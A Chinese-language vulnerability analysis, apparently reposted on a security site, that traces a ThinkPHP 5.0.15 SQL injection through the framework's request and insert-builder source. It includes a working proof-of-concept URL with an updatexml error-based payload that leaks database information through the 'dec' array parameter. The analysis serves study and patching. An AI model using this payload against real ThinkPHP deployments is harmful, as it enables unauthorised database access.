thinkphp5.0 SQL注入详细分析

admin 2022年2月15日00:00:00评论45 views字数 18332阅读61分6秒阅读模式

大多数文章都是分析了几个关键点,没有去详细的分析一下源码,最近,逐行跟了一下thinkphp5.0.15的SQL注入漏洞,
希望对分析thinkphp框架SQL注入的师傅们有点帮助。

基础

先摆上这次需要用到的一些内置函数
list — 把数组中的值赋给一组变量

array_walk_recursive — 对数组中的每个成员递归地应用用户函数

注意 键和值是反过来的

is_scalar — 检测变量是否是一个标量

composer安装
刚刚学到一个composer的新用法,可以把tp版本回退

"require": {
"php": ">=5.4.0",
"topthink/think-installer": "5.0.15"
},

这样就可以回退到5.0.15版本

index控制器 加上这么一段连接数据库的代码

<?php
namespace appindexcontroller;

class Index
{
public function index()
{
$username = request()->get('username/a');
db('users')->insert(['username' => $username]);
return 'Update success';
}
}

database.php中 配置数据库,
在创建一个数据库

create database tpdemo;
use tpdemo;
create table users(
id int primary key auto_increment,
username varchar(50) not null
);

config.php中 配置这两个为true

漏洞复现

http://127.0.0.1/tp5.0.22/public/index.php/index/Index/index?username[0]=dec&username[1]=updatexml(1,concat(0x7e,user(),0x7e),1)&username[2]=1

漏洞分析

get打个断点,调一下

进入get方法

/**
* 设置获取GET参数
* @access public
* @param string|array $name 变量名
* @param mixed $default 默认值
* @param string|array $filter 过滤方法
* @return mixed
*/
public function get($name = '', $default = null, $filter = '')
{
if (empty($this->get)) {
$this->get = $_GET;//把GET数组 传给 get变量,不过我在这里调试的时候,get已经有值了,
//我估计应该是框架启动的时候添加的
}
if (is_array($name)) {//这里的name参数,是前面get方法设置的username/a /a代表强制转换成数组
//这里的name很显然不是数组,直接进入到了下面的input方法
$this->param = [];
return $this->get = array_merge($this->get, $name);
}
return $this->input($this->get, $name, $default, $filter);// 四个参数 GET数组,username/a,null,''
}

input方法

/**
* 获取变量 支持过滤和默认值
* @param array $data 数据源
* @param string|false $name 字段名
* @param mixed $default 默认值
* @param string|array $filter 过滤函数
* @return mixed
*/
public function input($data = [], $name = '', $default = null, $filter = '')
{
if (false === $name) {//这里的name如果是false的换,就代表前面的get方法没有定义获取那个数据,以及数据类型
// 获取原始数据
return $data;
}
$name = (string) $name;
if ('' != $name) {
// 解析name
if (strpos($name, '/')) {//检测name中是否有/ 也就代表检测对数据格式是否有要求
list($name, $type) = explode('/', $name);// 把name根据/ 拆分成数组,然后赋值给name type
//现在name=username type=a
} else {
$type = 's';//如果前面的获取参数的方法没有设置数据类型,默认为s 字符串类型
}
// 按.拆分成多维数组进行判断
foreach (explode('.', $name) as $val) {//前面只传了username 所以val=username,
//多说一句,我推测这里的.应该是input('变量类型.变量名/修饰符');
//tp官方文档里面定义的助手函数,这里有个“.”
if (isset($data[$val])) {//data是GET数组中的内容,data[username]
$data = $data[$val];//这样就把请求中的username参数,,传给了data,
//注意这里的username也是一个数组
} else {
// 无输入数据,返回默认值
return $default;//代表没有规则(username/a)中的参数传入,所以返回默认值
}
}
if (is_object($data)) {//data是username这个数组,不是对象
return $data;
}
}

// 解析过滤器
$filter = $this->getFilter($filter, $default);
// 看下getFiler函数, 就是对filter进行了一个赋值,传进来的filter是空字符串'',返回的filter是空数组[]
//protected function getFilter($filter, $default)
// {
// if (is_null($filter)) {
// $filter = [];
// } else {
// $filter = $filter ?: $this->filter;
// if (is_string($filter) && false === strpos($filter, '/')) {
// $filter = explode(',', $filter);
// } else {
// $filter = (array) $filter;
// }
// }

// $filter[] = $default;
// return $filter;
//}


if (is_array($data)) {//data是username的数组
array_walk_recursive($data, [$this, 'filterValue'], $filter);//进入回调函数,

跟进看一下filterValue函数,类似于循环,会把数组中的元素,挨个传到filterValue方法

private function filterValue(&$value, $key, $filters)//value是data中的值,也就是GET数组中的值,即
//参数的值,key是GET数组中的键,即参数的名,filters是要过滤规则
{
$default = array_pop($filters);//把数组中的元素弹出
foreach ($filters as $filter) {
if (is_callable($filter)) {//是否能够进行函数调用,这里的filter是空,所以无法调用
// 调用函数或者方法过滤
$value = call_user_func($filter, $value);
} elseif (is_scalar($value)) {//检测一个变量是否是标量,那些东西是标量看上面的函数介绍
if (false !== strpos($filter, '/')) {//filter为空,所以strpos返回false,进入到了下面的elseif
// 正则过滤
if (!preg_match($filter, $value)) {
// 匹配不成功返回默认值
$value = $default;
break;
}
} elseif (!empty($filter)) {//filter是空的,所以这里也会跳过
// filter函数不存在时, 则使用filter_var进行过滤
// filter为非整形值时, 调用filter_id取得过滤id
$value = filter_var($value, is_int($filter) ? $filter : filter_id($filter));
if (false === $value) {
$value = $default;
break;
}
}
}
}
return $this->filterExp($value);//直接就到了这里的filterExp方法

看一下这个方法是一个过滤函数,但是payload中的关键字,都没被过滤

public function filterExp(&$value)//这里的value是引用传值,所以说data中的值,会被直接修改
{
// 过滤查询特殊字符
if (is_string($value) && preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT LIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i', $value)) {
$value .= ' ';//如果被检测到,会在后面加一个空格
}
// TODO 其他安全过滤
}
}

回到input函数

reset($data);//数组指针指向数组中的第一个单元
} else {
$this->filterValue($data, $name, $filter);
}

if (isset($type) && $data !== $default) {//type已经设置是a, $default是null
//所以这里会进入typeCast的判断
// 强制类型转换
$this->typeCast($data, $type);
}
return $data;//把data返回
}

跟进typeCast方法,进行强制转换

private function typeCast(&$data, $type)
{
switch (strtolower($type)) {
// 数组
case 'a':
$data = (array) $data;//因为type是a,所以强制转换为数组
break;
// 数字
case 'd':
$data = (int) $data;
break;
// 浮点
case 'f':
$data = (float) $data;
break;
// 布尔
case 'b':
$data = (boolean) $data;
break;
// 字符串
case 's':
default:
if (is_scalar($data)) {
$data = (string) $data;
} else {
throw new InvalidArgumentException('variable type error:' . gettype($data));
}
}
}

这里和官方文档的对上了

梳理一下,从调用get开始,到返回data经过的步骤

下面进入到了insert方法
看一下传给Insert方法的参数

GET数组中的值已经被传过来了

这里的db,这种写法是利用了助手函数,所以会进入到helper.php中
helper.php

if (!function_exists('db')) {
/**
* 实例化数据库类
* @param string $name 操作的数据表名称(不含前缀)
* @param array|string $config 数据库配置参数
* @param bool $force 是否强制重新连接
* @return thinkdbQuery
*/
function db($name = '', $config = [], $force = false)//只传了一个name是users
{
return Db::connect($config, $force)->name($name);
}
}

跟进
Db::connect 会进入到Loader.php 下的autoload方法,触发自动加载 把Db类导入

*/
public static function autoload($class)
{
// 检测命名空间别名
if (!empty(self::$namespaceAlias)) {
$namespace = dirname($class);
if (isset(self::$namespaceAlias[$namespace])) {
$original = self::$namespaceAlias[$namespace] . '\' . basename($class);
if (class_exists($original)) {
return class_alias($original, $class, false);
}
}
}

结果就是把这个文件包含进来

进入connect方法

public static function connect($config = [], $name = false)
//传过来的参数是$config=[] $name=false和默认一样
{
if (false === $name) {//进入
$name = md5(serialize($config));//对config进行一次序列化和md5
}

if (true === $name || !isset(self::$instance[$name])) { //name虽然不等于true,
//但是后面的self::$instance[$name]是没有设置的,
//个人感觉$name是一个MD5的hash值是一个随机的数,不能这么巧,恰好定义
//回去看了一下$instance的定义
//@var Connection[] 数据库连接实例

// 解析连接参数 支持数组和字符串
$options = self::parseConfig($config);//config=[] 空数组

跟进parseConfig方法

/**
* 数据库连接参数解析
* @access private
* @param mixed $config 连接参数
* @return array
*/
private static function parseConfig($config)
{
if (empty($config)) {//进入
$config = Config::get('database');//跟进,详细的在下面
} elseif (is_string($config) && false === strpos($config, '/')) {
$config = Config::get($config); // 支持读取配置参数
}

return is_string($config) ? self::parseDsn($config) : $config;
}

跟进config的get方法

/**
* 获取配置参数 为空则获取所有配置
* @access public
* @param string $name 配置参数名(支持二级配置 . 号分割)
* @param string $range 作用域
* @return mixed
*/
public static function get($name = null, $range = '')//name=database
{
$range = $range ?: self::$range;//这个文件自定义了一个静态变量,值是_sys_

// 无参数时获取所有
if (empty($name) && isset(self::$config[$range])) {//name不是空,所以跳过这个if
return self::$config[$range];
}

// 非二级配置时直接返回
if (!strpos($name, '.')) {//name中没有 "." 所以进入
$name = strtolower($name);//变成小写
return isset(self::$config[$range][$name]) ? self::$config[$range][$name] : null;
//如果self::$config[_sys_][database]已经设置返回self::$config[_sys_][database] 否则返回Null
//$config变量在框架初始化的时候,就已经加载完毕了,
//关于database的内容就是 application/database.php中的内容
}
}

这里提到一个二级配置 看看是个啥东西

就是一个嵌套的数组
读取二级配置

这里有个 "." 这就对应上了

if (!strpos($name, '.'))

为啥有点"."就跳过

回到connect方法

if (empty($options['type'])) {//这里的type是数据库的类型,我这里用的MySQL
throw new InvalidArgumentException('Undefined db type');
}

$class = false !== strpos($options['type'], '\') ?
$options['type'] :
'\think\db\connector\' . ucwords($options['type']);

// 记录初始化信息
if (App::$debug) {
Log::record('[ DB ] INIT ' . $options['type'], 'info');//这里会把初始化信息写入日志
}

if (true === $name) {//name不等于true,跳过
$name = md5(serialize($config));
}

self::$instance[$name] = new $class($options);//new 一个MySQL类,参数是database中的配置信息
}

return self::$instance[$name];//把实例化好的MySQL类返回
}

$class是MySQL

同样会调用自动加载

然后把文件包含进来

之后进入connection类的初始化方法,因为MySQL类是继承自connection类的,并且MySQL类没有实现初始化方法

public function __construct(array $config = [])//传过来的config是database.php中的配置参数
{
if (!empty($config)) {
$this->config = array_merge($this->config, $config);//这里进行合并
}
}

之后就回到了connect方法,紧接着调用insert方法,

/**
* 插入记录
* @access public
* @param mixed $data 数据
* @param boolean $replace 是否replace
* @param boolean $getLastInsID 返回自增主键
* @param string $sequence 自增序列名
* @return integer|string
*/
public function insert(array $data = [], $replace = false, $getLastInsID = false, $sequence = null)
{
// 分析查询表达式
$options = $this->parseExpress();

跟进parseExpress方法

/**
* 分析表达式(可用于查询或者写入操作)
* @access protected
* @return array
*/
protected function parseExpress()
{
$options = $this->options;

// 获取数据表
if (empty($options['table'])) {//没有设置$option['table'],所以进入if
$options['table'] = $this->getTable();//获取表名
}

进入getTable方法,获取表名

**
* 得到当前或者指定名称的数据表
* @access public
* @param string $name
* @return string
*/
public function getTable($name = '')
{
if ($name || empty($this->table)) {//name没有设置为空,所以会进入if
$name = $name ?: $this->name;//把属性中的name传过来,进行赋值
$tableName = $this->prefix;//这个prefix是表前缀,没有定义
if ($name) {//现在name已经不为空了,==》users
$tableName .= Loader::parseName($name);//这个parseName是命名风格转换,影响不大,跳过
}
} else {
$tableName = $this->table;
}
return $tableName;//最后把表名返回
}

回到parseExpress方法

if (!isset($options['where'])) {//没有设置,置where字段为空数组
$options['where'] = [];
} elseif (isset($options['view'])) {
// 视图查询条件处理
foreach (['AND', 'OR'] as $logic) {
if (isset($options['where'][$logic])) {
foreach ($options['where'][$logic] as $key => $val) {
if (array_key_exists($key, $options['map'])) {
$options['where'][$logic][$options['map'][$key]] = $val;
unset($options['where'][$logic][$key]);
}
}
}
}

if (isset($options['order'])) {//没有设置order字段,直接跳过
// 视图查询排序处理
if (is_string($options['order'])) {
$options['order'] = explode(',', $options['order']);
}
foreach ($options['order'] as $key => $val) {
if (is_numeric($key)) {
if (strpos($val, ' ')) {
list($field, $sort) = explode(' ', $val);
if (array_key_exists($field, $options['map'])) {
$options['order'][$options['map'][$field]] = $sort;
unset($options['order'][$key]);
}
} elseif (array_key_exists($val, $options['map'])) {
$options['order'][$options['map'][$val]] = 'asc';
unset($options['order'][$key]);
}
} elseif (array_key_exists($key, $options['map'])) {
$options['order'][$options['map'][$key]] = $val;
unset($options['order'][$key]);
}
}
}
}

if (!isset($options['field'])) {//没有设置,置field字段为*
$options['field'] = '*';
}

if (!isset($options['data'])) {
$options['data'] = [];//置data字段为空数组
}

if (!isset($options['strict'])) {
$options['strict'] = $this->getConfig('fields_strict');//获取数据库的配置参数,
//这个先是调用query类的getConfig方法,之后再去调用connection类的getConfig方法,获取数据库的配置信息
}

foreach (['master', 'lock', 'fetch_pdo', 'fetch_sql', 'distinct'] as $name) {
//这个foreach循环,大致意思是判断$option中有没有设置对应的单元,没有设置则置为false
if (!isset($options[$name])) {
$options[$name] = false;
}
}

foreach (['join', 'union', 'group', 'having', 'limit', 'order', 'force', 'comment'] as $name) {
//和上面一样,不过这个是置为空字符串
if (!isset($options[$name])) {
$options[$name] = '';
}
}

if (isset($options['page'])) {//没有设置,直接跳过
// 根据页数计算limit
list($page, $listRows) = $options['page'];
$page = $page > 0 ? $page : 1;
$listRows = $listRows > 0 ? $listRows : (is_numeric($options['limit']) ? $options['limit'] : 20);
$offset = $listRows * ($page - 1);
$options['limit'] = $offset . ',' . $listRows;
}

$this->options = [];//options属性置为空数组,他和options变量不一样
return $options;
}

看下options的内容

回到insert方法,继续往下看

$data    = array_merge($options['data'], $data);//把option中的data和data数组合并
// 生成SQL语句
$sql = $this->builder->insert($data, $options, $replace);//调用builder类的insert方法

跟进 看一下注释就知道这个方法是干啥的了

**
* 生成insert SQL
* @access public
* @param array $data 数据
* @param array $options 表达式
* @param bool $replace 是否replace
* @return string
*/
public function insert(array $data, $options = [], $replace = false)
{
// 分析并处理数据
$data = $this->parseData($data, $options);//


跟进parseData方法,
/**
* 数据分析
* @access protected
* @param array $data 数据
* @param array $options 查询参数
* @return array
* @throws Exception
*/
protected function parseData($data, $options)
{
if (empty($data)) {//data非空,跳过
return [];
}

// 获取绑定信息
$bind = $this->query->getFieldsBind($options['table']);//进入query类的getFieldsBind方法,


跟进 getFieldsBind 方法
// 获取当前数据表绑定信息
public function getFieldsBind($table = '')//table=users
{
$types = $this->getFieldsType($table);//跟进


跟进getFieldsType方法,
// 获取当前数据表字段类型
public function getFieldsType($table = '')
{
return $this->getTableInfo($table ?: $this->getOptions('table'), 'type');//跟进
}


跟进getTableInfo方法
/**
* 获取数据表信息
* @access public
* @param mixed $tableName 数据表名 留空自动获取
* @param string $fetch 获取信息类型 包括 fields type bind pk
* @return mixed
*/
public function getTableInfo($tableName = '', $fetch = '')
{
if (!$tableName) {//tablename已经设置,跳过
$tableName = $this->getTable();
}
if (is_array($tableName)) {//不是数组,users 跳过
$tableName = key($tableName) ?: current($tableName);
}

if (strpos($tableName, ',')) {//tablename中没有逗号,跳过
// 多表不获取字段信息
return false;
} else {//进入这个分支
$tableName = $this->parseSqlTable($tableName);//调用到parseSqlTable方法,
//这个方法的作用是把表名转成小写,不在详细分析
}

// 修正子查询作为表名的问题
if (strpos($tableName, ')')) {//同样 tablename中也没有),跳过
return [];
}

list($guid) = explode(' ', $tableName);//跟进空格,拆分成数组赋值给guid
$db = $this->getConfig('database');//获取数据库名
if (!isset(self::$info[$db . '.' . $guid])) {// 判断有没有设置info[tpdemo.users]
if (!strpos($guid, '.')) {//如果guid这个变量中,没有点“.” 就把库名和表名,通过"." 连接起来
$schema = $db . '.' . $guid;
} else {
$schema = $guid;
}
// 读取缓存
if (!App::$debug && is_file(RUNTIME_PATH . 'schema/' . $schema . '.php')) {//没有设置缓存,跳过
$info = include RUNTIME_PATH . 'schema/' . $schema . '.php';
} else {
$info = $this->connection->getFields($guid);//获取表中的字段信息,
}

跟进getFields方法

/**
* 取得数据表的字段信息
* @access public
* @param string $tableName
* @return array
*/
public function getFields($tableName)
{
list($tableName) = explode(' ', $tableName);//把表名根据空字符串拆成数组,
if (false === strpos($tableName, '`')) {//如果tablename中没有反引号“`”,在tablename两端加上反引号
if (strpos($tableName, '.')) {
$tableName = str_replace('.', '`.`', $tableName);
}
$tableName = '`' . $tableName . '`';
}
$sql = 'SHOW COLUMNS FROM ' . $tableName;// 执行一次查询,拿到当前表名的列信息
$pdo = $this->query($sql, [], false, true);
$result = $pdo->fetchAll(PDO::FETCH_ASSOC);

简单的看一下query方法,他是利用了PDO来查询

if (empty($this->PDOStatement)) {
$this->PDOStatement = $this->linkID->prepare($sql);
}

这是我在数据库,执行一次,拿到的结果

mysql> show columns from users;
+----------+-------------+------+-----+---------+----------------+
| Field | Type | Null | Key | Default | Extra |
+----------+-------------+------+-----+---------+----------------+
| id | int(11) | NO | PRI | NULL | auto_increment |
| username | varchar(50) | NO | | NULL | |
+----------+-------------+------+-----+---------+----------------+
2 rows in set (0.00 sec)

接着看getFields方法

现在的result数组

$info   = [];
if ($result) {
foreach ($result as $key => $val) {//变量result数组
$val = array_change_key_case($val);//把数组的键名都变成小写,val也是一个数组
$info[$val['field']] = [//执行完这一段之后,就把val中的信息,传给了 info
'name' => $val['field'],//字段名
'type' => $val['type'],//字段的类型
'notnull' => (bool) ('' === $val['null']), // not null is empty, null is yes
'default' => $val['default'],
'primary' => (strtolower($val['key']) == 'pri'),
'autoinc' => (strtolower($val['extra']) == 'auto_increment'),
];
}
}
return $this->fieldCase($info);//这个方法是把字段进行一个大小写的转换
}

看下返回的内容

回到getTableInfo方法

$fields = array_keys($info);
$bind = $type = [];
foreach ($info as $key => $val) {
// 记录字段类型
$type[$key] = $val['type'];
$bind[$key] = $this->getFieldBindType($val['type']);

跟进getFieldBindType方法

/**
* 获取字段绑定类型
* @access public
* @param string $type 字段类型
* @return integer
*/
protected function getFieldBindType($type)
{
if (0 === strpos($type, 'set') || 0 === strpos($type, 'enum')) {
$bind = PDO::PARAM_STR;
} elseif (preg_match('/(int|double|float|decimal|real|numeric|serial|bit)/is', $type)) {
//因为数据库里设置id字段的类型是int ,所以会进入这个分支,
//PDO::PARAM_INT (integer)
//表示 SQL 中的整型。
$bind = PDO::PARAM_INT;
} elseif (preg_match('/bool/is', $type)) {
$bind = PDO::PARAM_BOOL;
} else {//username字段是字符串类型,会进入最后一个分支
$bind = PDO::PARAM_STR;
}
return $bind;//把bind返回,
}

回到getTableInfo方法

if (!empty($val['primary'])) {//这一块是一个设置主机的过程,不详细分析了
$pk[] = $key;
}
}
if (isset($pk)) {
// 设置主键
$pk = count($pk) > 1 ? $pk : $pk[0];
} else {
$pk = null;
}
self::$info[$db . '.' . $guid] = ['fields' => $fields, 'type' => $type, 'bind' => $bind, 'pk' => $pk];
//对self::$info进行赋值,把users表的字段信息,都返回
}
return $fetch ? self::$info[$db . '.' . $guid][$fetch] : self::$info[$db . '.' . $guid];
}

把self::$info返回,内容在这里

回到getFieldsBind方法

$bind  = [];
if ($types) {
foreach ($types as $key => $type) {
$bind[$key] = $this->getFieldBindType($type);//同样绑定类型
}
}
return $bind;
}

看下bind

直接返回到了parseData,

回到parseData方法

if ('*' == $options['field']) {
$fields = array_keys($bind);//把键名变成小写,id username赋值给了fields
} else {
$fields = $options['field'];
}

$result = [];
foreach ($data as $key => $val) {//现在变成data了,遍历请求中的参数
$item = $this->parseKey($key, $options);//进入

parseKey方法

/**
* 字段和表名处理
* @access protected
* @param string $key
* @param array $options
* @return string
*/
protected function parseKey($key, $options = [])//key是username option是配置数组
{
$key = trim($key);
if (strpos($key, '$.') && false === strpos($key, '(')) {//检测是否是json字段,
// JSON字段支持
list($field, $name) = explode('$.', $key);
$key = 'json_extract(' . $field . ', '$.' . $name . '')';
} elseif (strpos($key, '.') && !preg_match('/[,'"()`s]/', $key)) {//key中,没有. 跳过
list($table, $key) = explode('.', $key, 2);
if ('__TABLE__' == $table) {
$table = $this->query->getTable();
}
if (isset($options['alias'][$table])) {
$table = $options['alias'][$table];
}
}
if (!preg_match('/[,'"*()`.s]/', $key)) {//正则不匹配,在加上! 进入
$key = '`' . $key . '`';//key两端加上反引号``
}
if (isset($table)) {
if (strpos($table, '.')) {
$table = str_replace('.', '`.`', $table);
}
$key = '`' . $table . '`.' . $key;
}
return $key;//最后把加上反引号的key返回,`key`
}

回到parseData方法

if (is_object($val) && method_exists($val, '__toString')) {//val是请求参数的值,很明显不是对象
// 对象数据写入
$val = $val->__toString();//这里有个string魔术方法,如果有可以写文件的类说不定,还可以利用
}
if (false === strpos($key, '.') && !in_array($key, $fields, true)) {//key中没有点"." 直接跳过,
//这个if分支应该是用来判断前端传过来的参数是否有对应的数据库字段
if ($options['strict']) {
throw new Exception('fields not exists:[' . $key . ']');
}
} elseif (is_null($val)) {
$result[$item] = 'NULL';
} elseif (is_array($val) && !empty($val)) {//判断请求中传过来的参数值,并且进行了一个拼接,
//需要控制第一个参数是inc或者dec,所以说payload中有一个inc,改成dec也可以
switch ($val[0]) {
case 'exp':
$result[$item] = $val[1];
break;
case 'inc':
$result[$item] = $this->parseKey($val[1]) . '+' . floatval($val[2]);
break;
case 'dec':
$result[$item] = $this->parseKey($val[1]) . '-' . floatval($val[2]);
break;
}
} elseif (is_scalar($val)) {//因为val是一个数组,不是标量,直接跳过
// 过滤非标量数据
if (0 === strpos($val, ':') && $this->query->isBind(substr($val, 1))) {
$result[$item] = $val;
} else {
$key = str_replace('.', '_', $key);
$this->query->bind('data__' . $key, $val, isset($bind[$key]) ? $bind[$key] : PDO::PARAM_STR);
$result[$item] = ':data__' . $key;
}
}
}
return $result;//把拼接之后的sql语句返回
}

看一下现在的result数组

回到Builder类的insert方法

if (empty($data)) {
return 0;
}
$fields = array_keys($data);//字段名`username`
$values = array_values($data);//要插入的东西 updatexml(1,concat(0x7e,user(),0x7e),1)+1

$sql = str_replace(//这里会对模板sql语句进行一个替换
['%INSERT%', '%TABLE%', '%FIELD%', '%DATA%', '%COMMENT%'],
[
$replace ? 'REPLACE' : 'INSERT',
$this->parseTable($options['table'], $options),
implode(' , ', $fields),//根据逗号, 把字符串连接成数组
implode(' , ', $values),
$this->parseComment($options['comment']),
], $this->insertSql);

return $sql;
}

大致是这样

模板sql语句是这样的

回到insert方法
看一下现在的sql语句
已经把payload 拼接上了

// 获取参数绑定
$bind = $this->getBind();
if ($options['fetch_sql']) {//fetch_sql没有设置,所以跳过
// 获取实际执行的SQL语句
return $this->connection->getRealSql($sql, $bind);
//
}
// 执行操作
$result = 0 === $sql ? 0 : $this->execute($sql, $bind);//这里就把sql给执行了

跟一下execute方法

这里同样是用的PDO预处理

后面这里执行

总结

漏洞的产生点,主要有两个
1、获取参数时,开启了数组的获取方式
2、当参数中有inc dec时,进行了参数的拼接,把payload带入到了sql语句中

参考链接
https://nikoeurus.github.io/2020/01/14/ThinkPHP%205%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E4%B9%8BSQL%E6%B3%A8%E5%85%A5(%E4%B8%80)/#%E6%BC%8F%E6%B4%9E%E7%AE%80%E8%BF%B0

论坛邀请码

请各位师父,多多发表文章,论坛会固定清理不活跃用户https://www.cnsuc.net/user-create.htm (论坛注册地址)436CE8EBD9F4B2C86E5E2002736C3680C6CB

来源:先知 

注:如有侵权请联系删除

欢迎大家加群一起讨论学习和交流
(此群已满200人,需要添加群主邀请)

你未来的样子,

就藏在你现在的努力里。


  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年2月15日00:00:00
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   thinkphp5.0 SQL注入详细分析https://cn-sec.com/archives/778370.html

发表评论

匿名网友 填写信息